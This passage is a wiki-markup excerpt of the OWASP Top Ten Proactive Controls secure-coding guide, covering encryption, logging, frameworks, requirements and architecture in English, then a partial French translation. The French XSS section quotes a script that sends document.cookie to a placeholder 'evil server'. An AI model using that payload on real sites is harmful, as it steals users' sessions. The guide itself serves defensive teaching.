&amp;lt;br/&amp;gt;&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encrypting data in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit.  Despite published weaknesses in specific implementations (e.g. Heartbleed), it is still the defacto and recommended method for implementing transport layer encryption.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Encrypting data at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level cryptographic functions on your own, ensure you are or have the assistance of a deep applied  expert.  Instead of building cryptographic functions from scratch, it is strongly recommended that peer reviewed an open libraries be used instead, such as the Google KeyCzar project, Bouncy Castle and the functions included in SDKs.  Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issues in complex software.&lt;br /&gt;
&lt;br /&gt;
A common weakness in encrypting data at rest is using an inadequate key, or storing the key along with the encrypted data (the cryptographic equivalent of leaving a key under the doormat).  Keys should be treated as secrets and only exist on the device in a transient state, e.g. entered by the user so that the data can be decrypted, and then erased from memory.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
* [https://code.google.com/p/keyczar/ Google KeyCzar]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Make sure that confidential or sensitive data is not exposed by accident during processing. It may be more accessible in memory; or it could be written to temporary storage locations or log files, where it could be read by an attacker.&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
To make correlation and analysis easier, follow a common logging approach within the system and across systems where possible, using an extensible logging framework like SLF4J with Logback or Apache Log4j2, to ensure that all log entries are consistent.&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little. Make sure to always log the time stamp and identifying information like the source IP and user-id, but be careful not to log private or confidential data or opt-out data or secrets. Use knowledge of the intended purposes to guide what, when and how much to log. To protect from Log Injection aka [http://www.owasp.org/index.php/Log_Forging Log Forging], make sure to perform encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] explains how to implement intrusion detection and automated response into an existing application: where to add sensors or [https://www.owasp.org/index.php/AppSensor_DetectionPoints detection points] and what [http://www.owasp.org/index.php/AppSensor_ResponseActions response actions] to take when a security exception is encountered in your application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by QA staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
* [[Business Logic Security Cheat Sheet]]&lt;br /&gt;
* [[Testing for business logic (OWASP-BL-001)]]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= French Translation =&lt;br /&gt;
&lt;br /&gt;
Le Top Dix des Contrôles Proactifs de l'OWASP est une liste des techniques de sécurité qui devraient être incluses dans tout projet de développement de logiciels. Elles sont classées par ordre d'importance, le chiffre 1 signifiant le plus haut niveau. Ce document a été rédigé par des développeurs pour des développeurs en vue d’aider ceux qui débutent dans la prise en compte de la sécurité dans leur développement.&lt;br /&gt;
&lt;br /&gt;
# Requêtes Paramétrées&lt;br /&gt;
# Encoder les données&lt;br /&gt;
# Valider toutes les données entrantes&lt;br /&gt;
# Implémenter les contrôles d'accès appropriés&lt;br /&gt;
# Établir les contrôles d'identité et d'authentification&lt;br /&gt;
# Protéger les données et la vie privée&lt;br /&gt;
# Implémenter la journalisation, la gestion d'erreurs et la détection d'intrusion&lt;br /&gt;
# Exploiter les fonctionnalités de sécurité des frameworks et bibliothèques de sécurité&lt;br /&gt;
# Inclure les exigences de sécurité spécifiques&lt;br /&gt;
# Conception et architecture de sécurité&lt;br /&gt;
&lt;br /&gt;
'''Présentation du Top Dix 2014 des Contrôles Proactifs de l'OWASP'''&lt;br /&gt;
&lt;br /&gt;
Les développeurs de logiciels sont à l’origine de toutes les applications informatiques. Afin de réaliser un logiciel sécurisé, il est vital qu’ils soient soutenus et aidés par l'organisation pour laquelle ils écrivent le code. Comme ils sont les concepteurs des applications web, il est nécessaire qu’ils intègrent et adoptent un très large éventail de techniques de sécurisation du code. A tous les niveaux du développement d’une application web, l'interface utilisateur, la logique métier, le contrôleur, le code de base de données, etc., il faut avoir à l’esprit la sécurité. Cela représente une tâche qui peut être très difficile et conduit souvent les développeurs à des situations d’échec.&lt;br /&gt;
&lt;br /&gt;
La plupart des développeurs n'ont pas étudié la sécurité des développements ou la cryptographie pendant leurs études. Pour créer des applications web, ils utilisent des langages et frameworks, et ceux-ci manquent souvent des contrôles de bases essentiels ou ne sont pas, d’une quelconque façon, sécurisés par défaut. De plus, rarement, les entreprises fournissent aux développeurs des exigences normatives qui puissent les guider vers l’écriture de logiciels sécurisés. Et quand bien même elles le font, il peut exister des failles de sécurité inhérentes à ces exigences et à la conception. Les développeurs sont souvent programmés pour perdre la bataille de la sécurité.&lt;br /&gt;
&lt;br /&gt;
Ce document a été rédigé par des développeurs pour des développeurs en vue d’aider ceux qui débutent dans la prise en compte de la sécurité dans leur développement. Son objectif est de guider les développeurs et tous les professionnels du développement logiciel sur la voie du développement d'applications web sécurisées.&lt;br /&gt;
&lt;br /&gt;
Il existe plus de 10 problèmes sur lesquels les développeurs doivent porter leur attention. Dans ce top dix, certains sont très spécifiques et d’autres plus généraux. Certains sont d’ordre technique et d’autres concernent les processus de base. Certains diront que ce document comprend des points qui ne sont pas du tout des contrôles. Toutes ces préoccupations sont justes. Encore une fois, c'est un document de sensibilisation destiné aux débutants en développement de logiciels sécurisés. C'est un début, et non une fin.&lt;br /&gt;
&lt;br /&gt;
Comme un grand nombre de personnes a influencé ou contribué à ce document il est impossible de tous les nommer. Je tiens aussi à remercier particulièrement toute l'équipe des séries Cheat Sheets dont le contenu a été réutilisé pour ce document.&lt;br /&gt;
&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
== 1: Requêtes Paramétrées ==&lt;br /&gt;
&lt;br /&gt;
L'injection SQL est l’un des risques majeurs pour une application web. Cela est dû au fait que celle-ci est à la fois facile à exploiter avec des outils automatisés très simples et peut aussi avoir un impact dévastateur sur votre application.&lt;br /&gt;
&lt;br /&gt;
Une simple insertion d'un code malicieux SQL dans votre application - et la totalité de la base de données peut potentiellement être volée, effacée ou modifiée. L'application web peut même être utilisée pour lancer des commandes systèmes contre le système d'exploitation hébergeant la base de données.&lt;br /&gt;
&lt;br /&gt;
Pour empêcher les injections SQL, les développeurs doivent éviter qu'une donnée non-fiable soit interprétée comme faisant partie d'une commande SQL. La meilleure façon de le faire est à l'aide de la technique de programmation connue sous le nom de Requêtes Paramétrées.&lt;br /&gt;
&lt;br /&gt;
Voici un exemple de requête paramétrée en Java&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;); &lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);&lt;br /&gt;
 pstmt.setString(1, newName);&lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Voici un exemple de requête paramétrée en PHP&lt;br /&gt;
 $email = $_REQUEST['email'];&lt;br /&gt;
 $id = $_REQUEST['id'];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(&amp;quot;update users set email=:new_email where id=:user_id&amp;quot;);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Principales références'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 2: Encoder les données ==&lt;br /&gt;
&lt;br /&gt;
L’encodage est un mécanisme puissant qui aide à se protéger contre  de nombreux types d'attaques, en particulier les attaques par injection. En substance, l’encodage consiste à traduire les caractères spéciaux en un équivalent qui n'a plus de signification pour l'interpréteur cible. Cela permet de contrecarrer les diverses formes d'injections dont l'encodage Unix, Windows, LDAP ou encore XML. Un autre exemple est l'encodage des données de sortie indispensable pour prévenir les Cross Site Scripting.&lt;br /&gt;
&lt;br /&gt;
Les développeurs Web conçoivent souvent des pages web de façon dynamique. Elles sont constituées d'un mélange de codes HTML / JavaScript et de données issues de base de données constituée initialement avec des données utilisateurs. Toutes ces données doivent être considérées comme des données non fiables et dangereuses, et qui nécessite,  si l’on veut construire une application web sécurisée, un traitement spécial. Cross Site Scripting (XSS) ou, pour lui donner sa définition complète, injection JavaScript, se produit quand un attaquant tente d’abuser vos utilisateurs par l'exécution de code JavaScript malveillant qu’il injecte directement dans le code de votre propre site web . Les attaques XSS sont exécutées dans le navigateur de l'utilisateur et peuvent avoir une grande diversité de conséquences.&lt;br /&gt;
&lt;br /&gt;
Par exemple:&lt;br /&gt;
Altération d’un site par XSS&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vol de session par XSS&lt;br /&gt;
 &amp;lt;script&amp;gt;  var img = new Image();  img.src=&amp;quot;http&amp;amp;#x3A;&amp;amp;#x2F;&amp;amp;#x2F;&amp;lt;some evil server&amp;gt;.com?” + document.cookie;   &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il existe deux grandes catégories de XSS: persistants et réfléchis. On parle de XSS persistant (ou XSS stocké) quand une attaque XSS peut être intégré dans une base de données ou un système de fichiers d'un site Web. Cette variante de XSS est la plus dangereuse car les utilisateurs sont en général déjà connectés sur le site lorsque l'attaque est exécutée, et une seule attaque par injection peut affecter un grand nombre d’utilisateurs différents. On parle de XSS réfléchie lorsque l'attaquant place des données XSS dans une partie d’une URL et trompe sa victime en lui demandant de visiter cette URL. Quand la victime visite l’URL, l'attaque XSS se lance. Ce type d’attaque est moins dangereux car elle nécessite une interaction entre l'attaquant et la victime.&lt;br /&gt;
&lt;br /&gt;
L’encodage contextuel de sortie est une technique de programmation indispensable pour déjouer les attaques XSS. Celui-ci est réalisé sur la sortie, lorsque vous développez une interface utilisateur, au dernier moment, avant que les données non fiable soit ajoutée dynamiquement au HTML. Le type d’encodage nécessaire dépendra du contexte du HTML dans lequel les données non fiables sont ajoutées. Par exemple, dans une valeur d'attribut, dans le corps principal HTML, ou même dans un bloc de code JavaScript. L’encodage à utiliser pour contrer une attaque XSS comprend l'encodage des entités HTML, l'encodage JavaScript et l'encodage pourcentage (appelé également l'encodage d'URL). Le projet OWASP Java Encoder et Enterprise Security API (ESAPI) fournissent des encodeurs de ces fonctionnalités pour Java. Pour .NET 4.5, la classe AntiXssEncoder fournit des encodeurs CSS, HTML, URL, pour les chaînes Javascript et XML. D’autres encodeurs pour LDAP et VBScript sont inclus dans la bibliothèque AntiXSS open source.&lt;br /&gt;
&lt;br /&gt;
'''Principales références'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Outils principaux'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API OWASP ESAPI]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 3: Valider toutes les données entrantes ==&lt;br /&gt;
&lt;br /&gt;
Il est absolument essentiel de considérer toutes les données extérieures à l’application (données entrantes) comme non-fiables (par exemple, celles provenant de navigateurs ou clients mobiles, de systèmes extérieurs ou de fichiers).  Pour les applications Web, cela inclut les entêtes HTTP, cookies et paramètres GET ou POST. En effet, tout ou partie de ces données peuvent être modifiées par un attaquant.&lt;br /&gt;
&lt;br /&gt;
L'une des points les plus importants, lors de la création d’une application Web sécurisée, est la limitation des données qu'un utilisateur est autorisé à soumettre à celle-ci. Limiter les données entrantes d'un utilisateur est une technique appelée “validation des données entrantes”. La validation des données entrantes peut être incluse dans le code d’une application web côté serveur en utilisant des expressions régulières. Celles-ci sont une sorte de syntaxe de code qui peut aider à savoir si une chaîne correspond à un certain modèle.&lt;br /&gt;
&lt;br /&gt;
Il existe deux approches classiques pour effectuer une validation des données entrantes : par &amp;quot;liste blanche&amp;quot; et par &amp;quot;liste noire&amp;quot;. La &amp;quot;liste blanche&amp;quot; cherche à définir à quoi ressemble une donnée valide. Toute donnée qui ne répond pas à la définition “good input” devra être refusée. La validation par “liste noire” s’efforce de détecter et de repousser les attaques connues ainsi que rejeter les caractères connus non conformes. Cette méthode de  “liste noire” conduit plus facilement à des erreurs de validation et est plus difficile à maintenir car elle peut parfois être contournée par l'encodage et diverses techniques d'obfuscation. Elle doit aussi être continuellement mise à jour pour prendre en compte la découverte de nouvelles attaques et techniques d’encodage. En raison de ces faiblesses, elle n'est pas recommandée lors de la création d'une application web sécurisée. Les exemples suivants se concentreront donc sur l'utilisation de la liste blanche.&lt;br /&gt;
&lt;br /&gt;
Lorsqu’un utilisateur s'enregistre pour la première fois sur une application web, les premières informations qui lui sont demandées sont un nom d'utilisateur, un mot de passe et une adresse e-mail. Si ces données proviennent d'un utilisateur malveillant, celles-ci peuvent contenir des chaînes d'attaques. En validant chaque données entrantes et en s'assurant qu'elles ne contiennent uniquement qu’un jeu de données validé, nous pouvons rendre l'attaque de cette application plus compliquée.&lt;br /&gt;
&lt;br /&gt;
Commençons avec l'expression régulière suivante pour le nom d'utilisateur.&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
Avec la méthode de validation par liste blanche, cette expression régulière accepte uniquement les lettres minuscules, les chiffres et le caractère underscore. Dans cet exemple, la taille du nom d'utilisateur est également limitée de 3 à 16 caractères.&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, un exemple d’expression régulière pour le mot de passe.&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
Cette expression régulière s'assure que le mot de passe à une longueur comprise entre 10 et 64 caractères et contient au moins une lettre majuscule, une lettre minuscule, un chiffre et un caractère spécial (&amp;amp;, #, $ ou % présent une ou plusieurs fois).&lt;br /&gt;
&lt;br /&gt;
Ci-après, un exemple d’expression régulière pour une adresse e-mail (selon la spécification HTML5)&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
Dans certains cas spéciaux, la validation par expression régulière n’est pas suffisante. En effet, si votre application manipule des balises - des données entrantes non fiables pouvant contenir du HTML - il peut vite devenir très difficile d’effectuer une validation. L'encodage peut également être compliqué, puisqu'il casserait toutes les balises appartenant à la donnée entrante. Dans ce genre de cas, vous avez besoin d’une librairie qui parse et nettoie le HTML comme l'OWASP Java HTML Sanitizer. Les expressions régulières ne sont pas la bonne méthode pour parser et nettoyer le HTML non-fiable.&lt;br /&gt;
&lt;br /&gt;
Nous mettons en avant ici une évidence malheureuse de la validation des données entrantes : la validation des entrées ne rends pas forcément sûr une donnée non-fiable, puisqu'il peut être nécessaire d'accepter des caractères potentiellement dangereux comme étant des données valides. La sécurité de l'application devrait donc par la suite être renforcée là où cette entrée est exploitée. Par exemple, si la donnée entrante est utilisée pour construire une réponse HTML, l'encodage approprié du HTML doit être ensuite effectué pour prévenir les attaques de type Cross Site Scripting.&lt;br /&gt;
&lt;br /&gt;
'''Principales références'''&lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Outils principaux'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
* [http://commons.apache.org/proper/commons-validator/ Apache Commons Validator]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 4: Implémenter les contrôles d'accès appropriés ==&lt;br /&gt;
&lt;br /&gt;
Le Contrôle d’Accès est le processus par lequel les demandes d'accès à un élément ou à une ressource précise sont accordées ou refusées. Il convient de noter que le Contrôle d’Accès n'est pas équivalent à l'authentification (vérification de l'identité). Ces termes et leurs définitions sont souvent confondus. &lt;br /&gt;
&lt;br /&gt;
Le Contrôle d’Accès est une sécurité qui peut être relativement complexe mais de conception robuste. C’est lors des premières étapes de développement d’une application que devraient être étudiés les principes “positifs” suivants de conception de contrôle d’accès. En effet, une fois que vous avez choisi un modèle spécifique de conception de contrôle d'accès, il est souvent difficile et consommateur de temps de le remplacer au sein de votre application par un nouveau modèle. Le Contrôle d'Accès est l'un des domaines principaux de la conception de la sécurité d'une application et doit être pensé le plus tôt possible.&lt;br /&gt;
&lt;br /&gt;
===Forcer les contrôles d'accès pour toutes les requêtes===&lt;br /&gt;
Dans la plupart des frameworks et des langages, l'accès à une fonctionnalité est réalisé seulement si le développeur la met en place. Avec une vision inverse, centrée sur la sécurité, tous les accès seraient vérifiés par défaut. Pensez donc à utiliser un filtre ou tout autre mécanisme automatique pour vous assurer que l'ensemble des requêtes passent par des contrôles d'accès.&lt;br /&gt;
&lt;br /&gt;
===Tout refuser par défaut===&lt;br /&gt;
Pour continuer avec la validation automatique par les contrôles d’accès, il est crucial d’interdire l’ensemble des accès aux fonctionnalités qui n’ont pas encore de contrôles d’accès configurés. Et pourtant, ce n’est pas cela qui est appliqué, mais bien l’inverse. Les nouvelles fonctionnalités créées sont accessibles sans restriction  jusqu'à ce qu'un développeur y ajoute un contrôle d'accès.&lt;br /&gt;
&lt;br /&gt;
===Eviter de coder en dur les règles des contrôles d'accès===&lt;br /&gt;
Fréquemment, la politique de contrôle d'accès est codée en dur dans le code de l'application. Cela rend très difficile les audits et tests de sécurité de l'application et est consommateur de temps. La politique de contrôle d'accès et le code de l'application doivent être séparés le plus possible. En d'autres termes, votre couche d'application (contrôles du code) et votre processus de prise de décision sur vos contrôles d'accès (le &amp;quot;moteur&amp;quot; des contrôles d'accès) doivent être séparés le plus possible.&lt;br /&gt;
&lt;br /&gt;
===Coder pour les fonctionnalités===&lt;br /&gt;
La plupart des frameworks web utilisent les rôles dans les contrôles d'accès comme méthode principale de vérification des points de passages dans le code de l'application. S’il est acceptable d'utiliser les rôles dans les mécanismes de contrôle d'accès, écrire un code spécifique à un rôle dans votre application est un contre-modèle. Dans le code source, il est préférable de vérifier qu'un utilisateur a accès à une fonctionnalité, plutôt que de vérifier qu'un utilisateur appartient à un rôle.&lt;br /&gt;
&lt;br /&gt;
===Les données sûres côté serveur doivent piloter les contrôles d'accès===&lt;br /&gt;
La plupart des données dont vous avez besoin pour prendre une décision sur un contrôle d'accès (qui est l'utilisateur et est-il identifié ?, quels sont les droits de l'utilisateur ?, quelle est la politique de contrôle d'accès ?, quelles fonctionnalité et données sont demandées ?, quelle heure est-il ?, quelle est la géolocalisation ?, etc...) doit être récupérée &amp;quot;côté serveur&amp;quot; dans une application web standard ou un service Web. La politique de données, telle que le rôle d'un utilisateur ou une règle de contrôle d'accès, ne devrait jamais faire partie de la requête. Dans une application Web standard, les seules données côté client qui sont nécessaires pour effectuer un contrôle d'accès sont l'identifiant ou les identifiants des données à accéder. Toutes les autres données nécessaires pour prendre une décision sur un contrôle d'accès doivent être récupérées côté serveur.&lt;br /&gt;
&lt;br /&gt;
'''Principales références'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
* [http://cybersecurity.ieee.org/center-for-secure-design/authorize-after-you-authenticate.html http://cybersecurity.ieee.org/center-for-secure-design/authorize-after-you-authenticate.html]&lt;br /&gt;
&lt;br /&gt;
'''Outils principaux'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 5: Définir les contrôles d'identités et d'authentification ==&lt;br /&gt;
&lt;br /&gt;
L'authentification est le processus consistant à vérifier qu'une personne ou une entité est bien celui qu'elle prétend être. L'authentification est généralement réalisée en soumettant un nom d'utilisateur ou un identifiant et une ou plusieurs informations privées que seul un utilisateur donné doit connaître.&lt;br /&gt;
&lt;br /&gt;
La gestion des sessions est un processus par lequel un serveur conserve l'état d'une entité interagissant avec lui. Dans les transactions, cela permet au serveur de se souvenir comment réagir aux demandes ultérieures. Les sessions sont maintenues sur le serveur par un identifiant de session qui peut être transmis dans les deux sens entre le client et le serveur lors de la transmission et la réception de requêtes. L'identifiant de session devrait être unique par utilisateur et son calcul impossible à prédire.&lt;br /&gt;
&lt;br /&gt;
La gestion des identités est un sujet plus vaste qui ne comprend pas seulement la gestion de l'authentification et des sessions, mais couvre également des thèmes avancés tels que la fédération d'identité, l'authentification unique, les outils de gestion de mots de passe, les référentiels d'identités et plus encore.&lt;br /&gt;
&lt;br /&gt;
'''Principales références'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
== 6: Protéger les données et la vie privée ==&lt;br /&gt;
&lt;br /&gt;
=== Cryptage les données transmises ===&lt;br /&gt;
&lt;br /&gt;
Lors de la transmission de données sensibles, à tous les niveaux de votre application ou de l'architecture réseau, il est nécessaire de penser à l'encryption des données. SSL / TLS est de loin le modèle de cryptage des données transmises le plus utilisé par les applications Web. Malgré les faiblesses publiées sur certaines implémentations spécifiques (par exemple Heartbleed), il est encore, dans les faits, la méthode recommandée pour la mise en oeuvre d'un cryptage de la couche de transport.&lt;br /&gt;
&lt;br /&gt;
'''Principales références'''&lt;br /&gt;
* Configuration TLS/SSL: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protéger les utilisateurs d’une attaque man-in-the-middle au travers de certificats SSL frauduleux: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Cryptage des données stockées ===&lt;br /&gt;
&lt;br /&gt;
